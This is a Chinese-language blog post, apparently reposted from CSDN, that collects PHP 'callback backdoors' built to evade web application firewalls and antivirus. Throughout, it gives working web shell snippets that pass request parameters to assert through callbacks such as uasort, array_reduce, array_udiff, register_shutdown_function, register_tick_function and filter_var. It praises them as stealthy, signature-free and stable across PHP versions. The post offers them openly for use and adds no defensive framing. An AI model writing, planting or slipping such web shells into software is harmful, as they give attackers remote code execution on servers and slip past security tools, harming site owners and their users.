bypass各种waf--php回调后门

bypass各种waf–php回调后门

一般过狗思路

call_user_func('assert', $_REQUEST['pass'])

在这里插入图片描述

双参数回调后门

uasort

<?php
$e=$_REQUEST['e'];
$arr=array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

在这里插入图片描述
由此方法引申出的姿势有:

<?php
$e=$_REQUEST['e'];
$arr=array('test'=>1, $_REQUEST['pass'] =>2);
uksort($arr, $e);

还有两种面向对象的方法

<?php
// way 0
$arr=new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr=new ArrayObject(array('test'=>1, $_REQUEST['pass'] =>2));
$arr->uksort('assert');

array_reduce

在这里插入图片描述
在这里插入图片描述

<?php
$e=$_REQUEST['e'];
$arr=array(1);
array_reduce($arr, $e, $_POST['pass']);

也就是说指定了$_POST作为处理开始时的初始值,然后执行assert(phpinfo()).

array_udiff

在这里插入图片描述
在这里插入图片描述

<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass']);
$arr2=array(1);
array_udiff($arr, $arr2, $e);

单参数后门终极奥义

preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以还是单参数后门,在各个版本都比较好驾驭。

给出几个好用不杀的回调后门

这个是php全版本支持的,且不报不杀稳定执行:

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

在这里插入图片描述
在这里插入图片描述

再来一个:

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

注册一个函数,以便在每个标记上执行
再来两个:

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

参考链接:

https://www.cnblogs.com/-qing-/p/10820209.html

猜你喜欢

转载自blog.csdn.net/qq_43710889/article/details/119654742